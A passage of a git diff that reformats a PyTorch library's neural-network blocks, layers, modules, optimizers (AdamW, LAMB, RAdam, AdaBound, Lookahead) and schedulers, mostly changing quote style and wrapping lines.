identity = x - + if self.use_expansion: x = self.expand_conv(x) - + x = self.depthwise_conv(x) - + se_weight = self.se(x) x = x * se_weight - + x = self.project_conv(x) - + if self.use_residual: x = x + identity - + return x + class UNetBlock(nn.Module): def __init__(self, in_channels, out_channels, down=True): super().__init__() self.down = down - + if down: self.conv = nn.Sequential( nn.Conv2d(in_channels, out_channels, 3, padding=1), @@ -149,7 +186,7 @@ def __init__(self, in_channels, out_channels, down=True): nn.ReLU(inplace=True), nn.Conv2d(out_channels, out_channels, 3, padding=1), nn.BatchNorm2d(out_channels), - nn.ReLU(inplace=True) + nn.ReLU(inplace=True), ) self.pool = nn.MaxPool2d(2) else: @@ -159,10 +196,10 @@ def __init__(self, in_channels, out_channels, down=True): nn.ReLU(inplace=True), nn.Conv2d(out_channels, out_channels, 3, padding=1), nn.BatchNorm2d(out_channels), - nn.ReLU(inplace=True) + nn.ReLU(inplace=True), ) self.up = nn.ConvTranspose2d(in_channels, in_channels // 2, 2, stride=2) - + def forward(self, x, skip=None): if self.down: x = self.conv(x) @@ -175,6 +212,7 @@ def forward(self, x, skip=None): x = self.conv(x) return x + class ConvNeXtBlock(nn.Module): def __init__(self, dim, drop_path=0.0, layer_scale_init_value=1e-6): super().__init__() @@ -183,11 +221,16 @@ def __init__(self, dim, drop_path=0.0, layer_scale_init_value=1e-6): self.pwconv1 = nn.Linear(dim, 4 * dim) self.act = nn.GELU() self.pwconv2 = nn.Linear(4 * dim, dim) - self.gamma = nn.Parameter(layer_scale_init_value * torch.ones(dim)) if layer_scale_init_value > 0 else None - + self.gamma = ( + nn.Parameter(layer_scale_init_value * torch.ones(dim)) + if layer_scale_init_value > 0 + else None + ) + from .modules import DropPath + self.drop_path = DropPath(drop_path) if drop_path > 0.0 else nn.Identity() - + def forward(self, x): identity = x x = self.dwconv(x) @@ -202,38 +245,52 @@ def forward(self, x): x = identity + self.drop_path(x) return x + class DilatedConvBlock(nn.Module): def __init__(self, in_channels, out_channels, dilation_rates=[1, 2, 4, 8]): super().__init__() - self.convs = nn.ModuleList([ - nn.Sequential( - nn.Conv2d(in_channels, out_channels // len(dilation_rates), 3, padding=d, dilation=d), - nn.BatchNorm2d(out_channels // len(dilation_rates)), - nn.ReLU(inplace=True) - ) - for d in dilation_rates - ]) - + self.convs = nn.ModuleList( + [ + nn.Sequential( + nn.Conv2d( + in_channels, + out_channels // len(dilation_rates), + 3, + padding=d, + dilation=d, + ), + nn.BatchNorm2d(out_channels // len(dilation_rates)), + nn.ReLU(inplace=True), + ) + for d in dilation_rates + ] + ) + def forward(self, x): return torch.cat([conv(x) for conv in self.convs], dim=1) + class PyramidPoolingModule(nn.Module): def __init__(self, in_channels, out_channels, pool_sizes=[1, 2, 3, 6]): super().__init__() - self.stages = nn.ModuleList([ - nn.Sequential( - nn.AdaptiveAvgPool2d(size), - nn.Conv2d(in_channels, out_channels // len(pool_sizes), 1), - nn.BatchNorm2d(out_channels // len(pool_sizes)), - nn.ReLU(inplace=True) - ) - for size in pool_sizes - ]) - + self.stages = nn.ModuleList( + [ + nn.Sequential( + nn.AdaptiveAvgPool2d(size), + nn.Conv2d(in_channels, out_channels // len(pool_sizes), 1), + nn.BatchNorm2d(out_channels // len(pool_sizes)), + nn.ReLU(inplace=True), + ) + for size in pool_sizes + ] + ) + def forward(self, x): h, w = x.size(2), x.size(3) features = [x] for stage in self.stages: pooled = stage(x) - features.append(F.interpolate(pooled, size=(h, w), mode='bilinear', align_corners=False)) + features.append( + F.interpolate(pooled, size=(h, w), mode="bilinear", align_corners=False) + ) return torch.cat(features, dim=1) diff --git a/ML/src/python/neuralforge/nn/layers.py b/ML/src/python/neuralforge/nn/layers.py index a0e8eb549b0..1b3420a40f7 100644 --- a/ML/src/python/neuralforge/nn/layers.py +++ b/ML/src/python/neuralforge/nn/layers.py @@ -3,26 +3,38 @@ import torch.nn.functional as F from typing import Optional + class ConvBlock(nn.Module): - def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, padding=1, - use_bn=True, activation='relu', drop_rate=0.0): + def __init__( + self, + in_channels, + out_channels, + kernel_size=3, + stride=1, + padding=1, + use_bn=True, + activation="relu", + drop_rate=0.0, + ): super().__init__() - self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding, bias=not use_bn) + self.conv = nn.Conv2d( + in_channels, out_channels, kernel_size, stride, padding, bias=not use_bn + ) self.bn = nn.BatchNorm2d(out_channels) if use_bn else nn.Identity() - - if activation == 'relu': + + if activation == "relu": self.activation = nn.ReLU(inplace=True) - elif activation == 'gelu': + elif activation == "gelu": self.activation = nn.GELU() - elif activation == 'silu': + elif activation == "silu": self.activation = nn.SiLU(inplace=True) - elif activation == 'mish': + elif activation == "mish": self.activation = nn.Mish(inplace=True) else: self.activation = nn.Identity() - + self.dropout = nn.Dropout2d(drop_rate) if drop_rate > 0 else nn.Identity() - + def forward(self, x): x = self.conv(x) x = self.bn(x) @@ -30,13 +42,22 @@ def forward(self, x): x = self.dropout(x) return x + class ResidualBlock(nn.Module): def __init__(self, channels, kernel_size=3, drop_rate=0.0): super().__init__() - self.conv1 = ConvBlock(channels, channels, kernel_size, padding=kernel_size // 2, drop_rate=drop_rate) - self.conv2 = ConvBlock(channels, channels, kernel_size, padding=kernel_size // 2, activation='none') + self.conv1 = ConvBlock( + channels, + channels, + kernel_size, + padding=kernel_size // 2, + drop_rate=drop_rate, + ) + self.conv2 = ConvBlock( + channels, channels, kernel_size, padding=kernel_size // 2, activation="none" + ) self.activation = nn.ReLU(inplace=True) - + def forward(self, x): residual = x x = self.conv1(x) @@ -45,24 +66,31 @@ def forward(self, x): x = self.activation(x) return x + class BottleneckBlock(nn.Module): def __init__(self, in_channels, out_channels, stride=1, expansion=4): super().__init__() mid_channels = out_channels // expansion - + self.conv1 = ConvBlock(in_channels, mid_channels, kernel_size=1, padding=0) - self.conv2 = ConvBlock(mid_channels, mid_channels, kernel_size=3, stride=stride, padding=1) - self.conv3 = ConvBlock(mid_channels, out_channels, kernel_size=1, padding=0, activation='none') - + self.conv2 = ConvBlock( + mid_channels, mid_channels, kernel_size=3, stride=stride, padding=1 + ) + self.conv3 = ConvBlock( + mid_channels, out_channels, kernel_size=1, padding=0, activation="none" + ) + self.shortcut = nn.Sequential() if stride != 1 or in_channels != out_channels: self.shortcut = nn.Sequential( - nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=stride, bias=False), - nn.BatchNorm2d(out_channels) + nn.Conv2d( + in_channels, out_channels, kernel_size=1, stride=stride, bias=False + ), + nn.BatchNorm2d(out_channels), ) - + self.activation = nn.ReLU(inplace=True) - + def forward(self, x): residual = self.shortcut(x) x = self.conv1(x) @@ -72,59 +100,76 @@ def forward(self, x): x = self.activation(x) return x + class InvertedResidualBlock(nn.Module): def __init__(self, in_channels, out_channels, stride=1, expand_ratio=6): super().__init__() hidden_dim = in_channels * expand_ratio self.use_residual = stride == 1 and in_channels == out_channels - + layers = [] if expand_ratio != 1: layers.append(ConvBlock(in_channels, hidden_dim, kernel_size=1, padding=0)) - - layers.extend([ - ConvBlock(hidden_dim, hidden_dim, kernel_size=3, stride=stride, padding=1, activation='relu'), - nn.Conv2d(hidden_dim, out_channels, kernel_size=1, bias=False), - nn.BatchNorm2d(out_channels) - ]) - + + layers.extend( + [ + ConvBlock( + hidden_dim, + hidden_dim, + kernel_size=3, + stride=stride, + padding=1, + activation="relu", + ), + nn.Conv2d(hidden_dim, out_channels, kernel_size=1, bias=False), + nn.BatchNorm2d(out_channels), + ] + ) + self.conv = nn.Sequential(*layers) - + def forward(self, x): if self.use_residual: return x + self.conv(x) return self.conv(x) + class DenseLayer(nn.Module): def __init__(self, in_channels, growth_rate, drop_rate=0.0): super().__init__() self.bn1 = nn.BatchNorm2d(in_channels) self.relu1 = nn.ReLU(inplace=True) self.conv1 = nn.Conv2d(in_channels, growth_rate * 4, kernel_size=1, bias=False) - + self.bn2 = nn.BatchNorm2d(growth_rate * 4) self.relu2 = nn.ReLU(inplace=True) - self.conv2 = nn.Conv2d(growth_rate * 4, growth_rate, kernel_size=3, padding=1, bias=False) - + self.conv2 = nn.Conv2d( + growth_rate * 4, growth_rate, kernel_size=3, padding=1, bias=False + ) + self.dropout = nn.Dropout2d(drop_rate) if drop_rate > 0 else nn.Identity() - + def forward(self, x): out = self.conv1(self.relu1(self.bn1(x))) out = self.conv2(self.relu2(self.bn2(out))) out = self.dropout(out) return torch.cat([x, out], 1) + class DenseBlock(nn.Module): def __init__(self, num_layers, in_channels, growth_rate, drop_rate=0.0): super().__init__() layers = [] for i in range(num_layers): - layers.append(DenseLayer(in_channels + i * growth_rate, growth_rate, drop_rate)) + layers.append( + DenseLayer(in_channels + i * growth_rate, growth_rate, drop_rate) + ) self.layers = nn.Sequential(*layers) - + def forward(self, x): return self.layers(x) + class TransitionLayer(nn.Module): def __init__(self, in_channels, out_channels): super().__init__() @@ -132,12 +177,13 @@ def __init__(self, in_channels, out_channels): self.relu = nn.ReLU(inplace=True) self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1, bias=False) self.pool = nn.AvgPool2d(kernel_size=2, stride=2) - + def forward(self, x): x = self.conv(self.relu(self.bn(x))) x = self.pool(x) return x + class SEBlock(nn.Module): def __init__(self, channels, reduction=16): super().__init__() @@ -146,24 +192,33 @@ def __init__(self, channels, reduction=16): nn.Linear(channels, channels // reduction, bias=False), nn.ReLU(inplace=True), nn.Linear(channels // reduction, channels, bias=False), - nn.Sigmoid() + nn.Sigmoid(), ) - + def forward(self, x): b, c, _, _ = x.size() se = self.squeeze(x).view(b, c) se = self.excitation(se).view(b, c, 1, 1) return x * se.expand_as(x) + class DepthwiseSeparableConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, padding=1): super().__init__() - self.depthwise = nn.Conv2d(in_channels, in_channels, kernel_size, stride, padding, groups=in_channels, bias=False) + self.depthwise = nn.Conv2d( + in_channels, + in_channels, + kernel_size, + stride, + padding, + groups=in_channels, + bias=False, + ) self.pointwise = nn.Conv2d(in_channels, out_channels, kernel_size=1, bias=False) self.bn1 = nn.BatchNorm2d(in_channels) self.bn2 = nn.BatchNorm2d(out_channels) self.relu = nn.ReLU(inplace=True) - + def forward(self, x): x = self.depthwise(x) x = self.bn1(x) diff --git a/ML/src/python/neuralforge/nn/modules.py b/ML/src/python/neuralforge/nn/modules.py index e127753ef4d..ccb5716a447 100644 --- a/ML/src/python/neuralforge/nn/modules.py +++ b/ML/src/python/neuralforge/nn/modules.py @@ -4,8 +4,11 @@ from typing import Optional, Tuple import math + class DynamicConv2d(nn.Module): - def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, groups=1): + def __init__( + self, in_channels, out_channels, kernel_size, stride=1, padding=0, groups=1 + ): super().__init__() self.in_channels = in_channels self.out_channels = out_channels @@ -13,64 +16,82 @@ def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, self.stride = stride self.padding = padding self.groups = groups - - self.weight = nn.Parameter(torch.randn(out_channels, in_channels // groups, kernel_size, kernel_size)) + + self.weight = nn.Parameter( + torch.randn(out_channels, in_channels // groups, kernel_size, kernel_size) + ) self.bias = nn.Parameter(torch.zeros(out_channels)) - - nn.init.kaiming_normal_(self.weight, mode='fan_out', nonlinearity='relu') - + + nn.init.kaiming_normal_(self.weight, mode="fan_out", nonlinearity="relu") + def forward(self, x): - return F.conv2d(x, self.weight, self.bias, self.stride, self.padding, groups=self.groups) + return F.conv2d( + x, self.weight, self.bias, self.stride, self.padding, groups=self.groups + ) + class DynamicLinear(nn.Module): def __init__(self, in_features, out_features, bias=True): super().__init__() self.in_features = in_features self.out_features = out_features - + self.weight = nn.Parameter(torch.randn(out_features, in_features)) if bias: self.bias = nn.Parameter(torch.zeros(out_features)) else: - self.register_parameter('bias', None) - + self.register_parameter("bias", None) + nn.init.kaiming_uniform_(self.weight, a=math.sqrt(5)) if self.bias is not None: fan_in, _ = nn.init._calculate_fan_in_and_fan_out(self.weight) bound = 1 / math.sqrt(fan_in) nn.init.uniform_(self.bias, -bound, bound) - + def forward(self, x): return F.linear(x, self.weight, self.bias) + class AdaptiveBatchNorm2d(nn.Module): def __init__(self, num_features, eps=1e-5, momentum=0.1): super().__init__() self.num_features = num_features self.eps = eps self.momentum = momentum - + self.weight = nn.Parameter(torch.ones(num_features)) self.bias = nn.Parameter(torch.zeros(num_features)) - self.register_buffer('running_mean', torch.zeros(num_features)) - self.register_buffer('running_var', torch.ones(num_features)) - self.register_buffer('num_batches_tracked', torch.tensor(0, dtype=torch.long)) - + self.register_buffer("running_mean", torch.zeros(num_features)) + self.register_buffer("running_var", torch.ones(num_features)) + self.register_buffer("num_batches_tracked", torch.tensor(0, dtype=torch.long)) + def forward(self, x): if self.training: mean = x.mean([0, 2, 3]) var = x.var([0, 2, 3], unbiased=False) - + with torch.no_grad(): - self.running_mean = (1 - self.momentum) * self.running_mean + self.momentum * mean - self.running_var = (1 - self.momentum) * self.running_var + self.momentum * var + self.running_mean = ( + 1 - self.momentum + ) * self.running_mean + self.momentum * mean + self.running_var = ( + 1 - self.momentum + ) * self.running_var + self.momentum * var self.num_batches_tracked += 1 - - x_normalized = (x - mean[None, :, None, None]) / torch.sqrt(var[None, :, None, None] + self.eps) + + x_normalized = (x - mean[None, :, None, None]) / torch.sqrt( + var[None, :, None, None] + self.eps + ) else: - x_normalized = (x - self.running_mean[None, :, None, None]) / torch.sqrt(self.running_var[None, :, None, None] + self.eps) - - return self.weight[None, :, None, None] * x_normalized + self.bias[None, :, None, None] + x_normalized = (x - self.running_mean[None, :, None, None]) / torch.sqrt( + self.running_var[None, :, None, None] + self.eps + ) + + return ( + self.weight[None, :, None, None] * x_normalized + + self.bias[None, :, None, None] + ) + class LayerNorm(nn.Module): def __init__(self, normalized_shape, eps=1e-5): @@ -79,12 +100,13 @@ def __init__(self, normalized_shape, eps=1e-5): self.eps = eps self.weight = nn.Parameter(torch.ones(normalized_shape)) self.bias = nn.Parameter(torch.zeros(normalized_shape)) - + def forward(self, x): mean = x.mean(-1, keepdim=True) std = x.std(-1, keepdim=True) return self.weight * (x - mean) / (std + self.eps) + self.bias + class GroupNorm(nn.Module): def __init__(self, num_groups, num_channels, eps=1e-5): super().__init__() @@ -93,7 +115,7 @@ def __init__(self, num_groups, num_channels, eps=1e-5): self.eps = eps self.weight = nn.Parameter(torch.ones(num_channels)) self.bias = nn.Parameter(torch.zeros(num_channels)) - + def forward(self, x): N, C, H, W = x.shape x = x.reshape(N, self.num_groups, C // self.num_groups, H, W) @@ -103,11 +125,12 @@ def forward(self, x): x = x.reshape(N, C, H, W) return x * self.weight[None, :, None, None] + self.bias[None, :, None, None] + class DropPath(nn.Module): def __init__(self, drop_prob=0.0): super().__init__() self.drop_prob = drop_prob - + def forward(self, x): if self.drop_prob == 0.0 or not self.training: return x @@ -118,45 +141,50 @@ def forward(self, x): output = x.div(keep_prob) * random_tensor return output + class GlobalAvgPool2d(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): return x.mean([2, 3]) + class GlobalMaxPool2d(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): return x.max(dim=2)[0].max(dim=2)[0] + class AdaptiveAvgMaxPool2d(nn.Module): def __init__(self): super().__init__() self.avg_pool = GlobalAvgPool2d() self.max_pool = GlobalMaxPool2d() - + def forward(self, x): avg = self.avg_pool(x) max_val = self.max_pool(x) return torch.cat([avg, max_val], dim=1) + class Flatten(nn.Module): def __init__(self, start_dim=1): super().__init__() self.start_dim = start_dim - + def forward(self, x): return x.flatten(self.start_dim) + class SqueezeExcitation(nn.Module): def __init__(self, channels, reduction=16): super().__init__() self.fc1 = nn.Linear(channels, channels // reduction) self.fc2 = nn.Linear(channels // reduction, channels) - + def forward(self, x): b, c, _, _ = x.size() se = x.mean([2, 3]) @@ -164,11 +192,12 @@ def forward(self, x): se = torch.sigmoid(self.fc2(se)) return x * se.view(b, c, 1, 1) + class SpatialAttention(nn.Module): def __init__(self, kernel_size=7): super().__init__() self.conv = nn.Conv2d(2, 1, kernel_size, padding=kernel_size // 2) - + def forward(self, x): avg_out = torch.mean(x, dim=1, keepdim=True) max_out, _ = torch.max(x, dim=1, keepdim=True) @@ -176,12 +205,13 @@ def forward(self, x): attention = torch.sigmoid(self.conv(attention)) return x * attention + class CBAM(nn.Module): def __init__(self, channels, reduction=16, kernel_size=7): super().__init__() self.channel_attention = SqueezeExcitation(channels, reduction) self.spatial_attention = SpatialAttention(kernel_size) - + def forward(self, x): x = self.channel_attention(x) x = self.spatial_attention(x) diff --git a/ML/src/python/neuralforge/optim/__init__.py b/ML/src/python/neuralforge/optim/__init__.py index 152ec2e4713..855dd999416 100644 --- a/ML/src/python/neuralforge/optim/__init__.py +++ b/ML/src/python/neuralforge/optim/__init__.py @@ -2,12 +2,12 @@ from .schedulers import * __all__ = [ - 'AdamW', - 'LAMB', - 'AdaBound', - 'RAdam', - 'Lookahead', - 'CosineAnnealingWarmRestarts', - 'OneCycleLR', - 'WarmupScheduler', + "AdamW", + "LAMB", + "AdaBound", + "RAdam", + "Lookahead", + "CosineAnnealingWarmRestarts", + "OneCycleLR", + "WarmupScheduler", ] diff --git a/ML/src/python/neuralforge/optim/optimizers.py b/ML/src/python/neuralforge/optim/optimizers.py index 242e86178b6..c337bf418c5 100644 --- a/ML/src/python/neuralforge/optim/optimizers.py +++ b/ML/src/python/neuralforge/optim/optimizers.py @@ -2,8 +2,17 @@ from torch.optim.optimizer import Optimizer import math + class AdamW(Optimizer): - def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0.01, amsgrad=False): + def __init__( + self, + params, + lr=1e-3, + betas=(0.9, 0.999), + eps=1e-8, + weight_decay=0.01, + amsgrad=False, + ): if lr < 0.0: raise ValueError(f"Invalid learning rate: {lr}") if eps < 0.0: @@ -12,217 +21,253 @@ def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0 raise ValueError(f"Invalid beta parameter at index 0: {betas[0]}") if not 0.0 <= betas[1] < 1.0: raise ValueError(f"Invalid beta parameter at index 1: {betas[1]}") - - defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay, amsgrad=amsgrad) + + defaults = dict( + lr=lr, betas=betas, eps=eps, weight_decay=weight_decay, amsgrad=amsgrad + ) super().__init__(params, defaults) - + def step(self, closure=None): loss = None if closure is not None: loss = closure() - + for group in self.param_groups: - for p in group['params']: + for p in group["params"]: if p.grad is None: continue - + grad = p.grad.data if grad.is_sparse: - raise RuntimeError('AdamW does not support sparse gradients') - - amsgrad = group['amsgrad'] + raise RuntimeError("AdamW does not support sparse gradients") + + amsgrad = group["amsgrad"] state = self.state[p] - + if len(state) == 0: - state['step'] = 0 - state['exp_avg'] = torch.zeros_like(p.data) - state['exp_avg_sq'] = torch.zeros_like(p.data) + state["step"] = 0 + state["exp_avg"] = torch.zeros_like(p.data) + state["exp_avg_sq"] = torch.zeros_like(p.data) if amsgrad: - state['max_exp_avg_sq'] = torch.zeros_like(p.data) - - exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] + state["max_exp_avg_sq"] = torch.zeros_like(p.data) + + exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"] if amsgrad: - max_exp_avg_sq = state['max_exp_avg_sq'] - beta1, beta2 = group['betas'] - - state['step'] += 1 - - p.data.mul_(1 - group['lr'] * group['weight_decay']) - + max_exp_avg_sq = state["max_exp_avg_sq"] + beta1, beta2 = group["betas"] + + state["step"] += 1 + + p.data.mul_(1 - group["lr"] * group["weight_decay"]) + exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1) exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2) - + if amsgrad: torch.max(max_exp_avg_sq, exp_avg_sq, out=max_exp_avg_sq) - denom = max_exp_avg_sq.sqrt().add_(group['eps']) + denom = max_exp_avg_sq.sqrt().add_(group["eps"]) else: - denom = exp_avg_sq.sqrt().add_(group['eps']) - - bias_correction1 = 1 - beta1 ** state['step'] - bias_correction2 = 1 - beta2 ** state['step'] - step_size = group['lr'] * math.sqrt(bias_correction2) / bias_correction1 - + denom = exp_avg_sq.sqrt().add_(group["eps"]) + + bias_correction1 = 1 - beta1 ** state["step"] + bias_correction2 = 1 - beta2 ** state["step"] + step_size = group["lr"] * math.sqrt(bias_correction2) / bias_correction1 + p.data.addcdiv_(exp_avg, denom, value=-step_size) - + return loss + class LAMB(Optimizer): - def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-6, weight_decay=0.01): + def __init__( + self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-6, weight_decay=0.01 + ): defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay) super().__init__(params, defaults) - + def step(self, closure=None): loss = None if closure is not None: loss = closure() - + for group in self.param_groups: - for p in group['params']: + for p in group["params"]: if p.grad is None: continue - + grad = p.grad.data state = self.state[p] - + if len(state) == 0: - state['step'] = 0 - state['exp_avg'] = torch.zeros_like(p.data) - state['exp_avg_sq'] = torch.zeros_like(p.data) - - exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] - beta1, beta2 = group['betas'] - state['step'] += 1 - + state["step"] = 0 + state["exp_avg"] = torch.zeros_like(p.data) + state["exp_avg_sq"] = torch.zeros_like(p.data) + + exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"] + beta1, beta2 = group["betas"] + state["step"] += 1 + exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1) exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2) - - bias_correction1 = 1 - beta1 ** state['step'] - bias_correction2 = 1 - beta2 ** state['step'] - + + bias_correction1 = 1 - beta1 ** state["step"] + bias_correction2 = 1 - beta2 ** state["step"] + exp_avg_hat = exp_avg / bias_correction1 exp_avg_sq_hat = exp_avg_sq / bias_correction2 - - update = exp_avg_hat / (exp_avg_sq_hat.sqrt() + group['eps']) - update.add_(p.data, alpha=group['weight_decay']) - + + update = exp_avg_hat / (exp_avg_sq_hat.sqrt() + group["eps"]) + update.add_(p.data, alpha=group["weight_decay"]) + weight_norm = p.data.norm() update_norm = update.norm() - + if weight_norm > 0 and update_norm > 0: trust_ratio = weight_norm / update_norm else: trust_ratio = 1.0 - - p.data.add_(update, alpha=-group['lr'] * trust_ratio) - + + p.data.add_(update, alpha=-group["lr"] * trust_ratio) + return loss + class RAdam(Optimizer): def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0): defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay) super().__init__(params, defaults) - + def step(self, closure=None): loss = None if closure is not None: loss = closure() - + for group in self.param_groups: - for p in group['params']: + for p in group["params"]: if p.grad is None: continue - + grad = p.grad.data state = self.state[p] - + if len(state) == 0: - state['step'] = 0 - state['exp_avg'] = torch.zeros_like(p.data) - state['exp_avg_sq'] = torch.zeros_like(p.data) - - exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] - beta1, beta2 = group['betas'] - state['step'] += 1 - + state["step"] = 0 + state["exp_avg"] = torch.zeros_like(p.data) + state["exp_avg_sq"] = torch.zeros_like(p.data) + + exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"] + beta1, beta2 = group["betas"] + state["step"] += 1 + exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1) exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2) - + buffered = [[None, None, None] for _ in range(10)] - + rho_inf = 2 / (1 - beta2) - 1 - rho_t = rho_inf - 2 * state['step'] * (beta2 ** state['step']) / (1 - beta2 ** state['step']) - + rho_t = rho_inf - 2 * state["step"] * (beta2 ** state["step"]) / ( + 1 - beta2 ** state["step"] + ) + if rho_t > 4: - bias_correction1 = 1 - beta1 ** state['step'] - bias_correction2 = 1 - beta2 ** state['step'] - + bias_correction1 = 1 - beta1 ** state["step"] + bias_correction2 = 1 - beta2 ** state["step"] + rt = math.sqrt( - (rho_t - 4) * (rho_t - 2) * rho_inf / ((rho_inf - 4) * (rho_inf - 2) * rho_t) + (rho_t - 4) + * (rho_t - 2) + * rho_inf + / ((rho_inf - 4) * (rho_inf - 2) * rho_t) + ) + + denom = (exp_avg_sq.sqrt() / math.sqrt(bias_correction2)).add_( + group["eps"] ) - - denom = (exp_avg_sq.sqrt() / math.sqrt(bias_correction2)).add_(group['eps']) - step_size = group['lr'] * rt / bias_correction1 - + step_size = group["lr"] * rt / bias_correction1 + p.data.addcdiv_(exp_avg, denom, value=-step_size) else: - bias_correction1 = 1 - beta1 ** state['step'] - step_size = group['lr'] / bias_correction1 + bias_correction1 = 1 - beta1 ** state["step"] + step_size = group["lr"] / bias_correction1 p.data.add_(exp_avg, alpha=-step_size) - - if group['weight_decay'] != 0: - p.data.add_(p.data, alpha=-group['weight_decay'] * group['lr']) - + + if group["weight_decay"] != 0: + p.data.add_(p.data, alpha=-group["weight_decay"] * group["lr"]) + return loss + class AdaBound(Optimizer): - def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), final_lr=0.1, gamma=1e-3, eps=1e-8, weight_decay=0): - defaults = dict(lr=lr, betas=betas, final_lr=final_lr, gamma=gamma, eps=eps, weight_decay=weight_decay) + def __init__( + self, + params, + lr=1e-3, + betas=(0.9, 0.999), + final_lr=0.1, + gamma=1e-3, + eps=1e-8, + weight_decay=0, + ): + defaults = dict( + lr=lr, + betas=betas, + final_lr=final_lr, + gamma=gamma, + eps=eps, + weight_decay=weight_decay, + ) super().__init__(params, defaults) - + def step(self, closure=None): loss = None if closure is not None: loss = closure() - + for group in self.param_groups: - for p in group['params']: + for p in group["params"]: if p.grad is None: continue - + grad = p.grad.data state = self.state[p] - + if len(state) == 0: - state['step'] = 0 - state['exp_avg'] = torch.zeros_like(p.data) - state['exp_avg_sq'] = torch.zeros_like(p.data) - - exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] - beta1, beta2 = group['betas'] - state['step'] += 1 - - if group['weight_decay'] != 0: - grad.add_(p.data, alpha=group['weight_decay']) - + state["step"] = 0 + state["exp_avg"] = torch.zeros_like(p.data) + state["exp_avg_sq"] = torch.zeros_like(p.data) + + exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"] + beta1, beta2 = group["betas"] + state["step"] += 1 + + if group["weight_decay"] != 0: + grad.add_(p.data, alpha=group["weight_decay"]) + exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1) exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2) - - bias_correction1 = 1 - beta1 ** state['step'] - bias_correction2 = 1 - beta2 ** state['step'] - - step_size = group['lr'] * math.sqrt(bias_correction2) / bias_correction1 - - final_lr = group['final_lr'] * group['lr'] / group['lr'] - lower_bound = final_lr * (1 - 1 / (group['gamma'] * state['step'] + 1)) - upper_bound = final_lr * (1 + 1 / (group['gamma'] * state['step'])) - - denom = exp_avg_sq.sqrt().add_(group['eps']) - step_size_clipped = torch.full_like(denom, step_size).div_(denom).clamp_(lower_bound, upper_bound).mul_(exp_avg) - + + bias_correction1 = 1 - beta1 ** state["step"] + bias_correction2 = 1 - beta2 ** state["step"] + + step_size = group["lr"] * math.sqrt(bias_correction2) / bias_correction1 + + final_lr = group["final_lr"] * group["lr"] / group["lr"] + lower_bound = final_lr * (1 - 1 / (group["gamma"] * state["step"] + 1)) + upper_bound = final_lr * (1 + 1 / (group["gamma"] * state["step"])) + + denom = exp_avg_sq.sqrt().add_(group["eps"]) + step_size_clipped = ( + torch.full_like(denom, step_size) + .div_(denom) + .clamp_(lower_bound, upper_bound) + .mul_(exp_avg) + ) + p.data.add_(step_size_clipped, alpha=-1) - + return loss + class Lookahead(Optimizer): def __init__(self, optimizer, k=5, alpha=0.5): self.optimizer = optimizer @@ -230,37 +275,37 @@ def __init__(self, optimizer, k=5, alpha=0.5): self.alpha = alpha self.param_groups = self.optimizer.param_groups self.state = {} - + for group in self.param_groups: - group['counter'] = 0 - + group["counter"] = 0 + def update(self, group): - for fast_p in group['params']: + for fast_p in group["params"]: if fast_p.grad is None: continue param_state = self.state[fast_p] - if 'slow_buffer' not in param_state: - param_state['slow_buffer'] = torch.empty_like(fast_p.data) - param_state['slow_buffer'].copy_(fast_p.data) - - slow = param_state['slow_buffer'] + if "slow_buffer" not in param_state: + param_state["slow_buffer"] = torch.empty_like(fast_p.data) + param_state["slow_buffer"].copy_(fast_p.data) + + slow = param_state["slow_buffer"] slow.add_(fast_p.data - slow, alpha=self.alpha) fast_p.data.copy_(slow) - + def step(self, closure=None): loss = self.optimizer.step(closure) - + for group in self.param_groups: - group['counter'] += 1 - if group['counter'] >= self.k: + group["counter"] += 1 + if group["counter"] >= self.k: self.update(group) - group['counter'] = 0 - + group["counter"] = 0 + return loss - + def state_dict(self): return { - 'state': self.state, - 'optimizer': self.optimizer.state_dict(), - 'param_groups': self.param_groups, + "state": self.state, + "optimizer": self.optimizer.state_dict(), + "param_groups": self.param_groups, } diff --git a/ML/src/python/neuralforge/optim/schedulers.py b/ML/src/python/neuralforge/optim/schedulers.py index 63f05aa6637..bbb0787d5c3 100644 --- a/ML/src/python/neuralforge/optim/schedulers.py +++ b/ML/src/python/neuralforge/optim/schedulers.py @@ -2,27 +2,32 @@ from torch.optim.lr_scheduler import _LRScheduler import math + class WarmupScheduler(_LRScheduler): def __init__(self, optimizer, warmup_epochs, base_scheduler=None, last_epoch=-1): self.warmup_epochs = warmup_epochs self.base_scheduler = base_scheduler super().__init__(optimizer, last_epoch) - + def get_lr(self): if self.last_epoch < self.warmup_epochs: - return [base_lr * (self.last_epoch + 1) / self.warmup_epochs for base_lr in self.base_lrs] - + return [ 